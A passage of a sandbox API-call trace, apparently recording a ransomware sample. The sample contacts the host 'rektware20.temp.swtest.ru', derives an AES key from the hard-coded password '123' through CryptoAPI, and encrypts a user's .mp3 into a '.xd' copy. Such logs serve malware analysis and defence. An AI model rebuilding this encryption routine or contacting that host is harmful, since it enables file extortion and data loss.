lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c) returned 1 [0065.205] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0065.205] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0065.205] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0065.205] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0065.205] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0065.205] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0065.205] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0065.206] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629450, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629450*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0065.206] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0065.208] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0065.208] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0065.208] CloseHandle (hObject=0x0) returned 0 [0065.208] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.208] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0065.208] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0065.208] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.208] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.208] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.209] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.209] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0065.209] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.209] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0065.209] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.209] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.209] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0065.209] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.209] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.209] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.209] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.209] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.210] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0065.210] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0065.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0065.210] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0065.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0065.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0065.210] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0065.210] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17ab330) returned 1 [0065.211] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.211] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.211] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0065.215] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.215] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.215] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.215] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.215] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.215] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.215] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.216] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0065.216] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0065.216] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.216] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.216] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.216] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0065.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.216] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.216] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0065.216] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.216] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0065.216] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0065.216] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.216] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.216] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0065.216] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.217] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0065.217] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0065.217] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.217] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.217] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.217] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.217] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.217] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.217] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.217] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0065.217] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0065.217] CryptCreateHash (in: hProv=0x17ab330, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0065.218] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.218] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.218] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.218] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629640, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.218] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0065.218] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0065.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0065.218] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.218] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.218] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.218] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0065.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621678, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0065.219] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0065.219] CryptHashData (hHash=0x164c430, pbData=0x16295b0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0065.219] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.219] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.219] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.219] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.219] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.219] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0065.219] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0065.219] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0065.219] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621798, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0065.220] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0065.220] CryptDeriveKey (in: hProv=0x17ab330, Algid=0x6610, hBaseData=0x164c430, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c370) returned 1 [0065.220] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.220] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.220] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.220] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.220] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.220] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0065.220] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0065.220] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0065.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0065.220] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0065.221] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0065.221] CryptDestroyHash (hHash=0x164c430) returned 1 [0065.221] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.221] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.221] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\teyre16q8ruq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0065.222] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.222] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0065.222] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.222] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.222] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.222] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg")) returned 0x10 [0065.222] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xYxUCLz\\zhbDg\\tEyRE16q8RUQ.mp3.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\xyxuclz\\zhbdg\\teyre16q8ruq.mp3.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0065.223] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.223] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.225] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.226] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.228] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0065.228] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0065.230] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x5c42, lpOverlapped=0x0) returned 1 [0065.230] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0065.257] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.257] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.258] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0065.258] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0065.260] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.260] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0065.260] CharUpperBuffW (in: 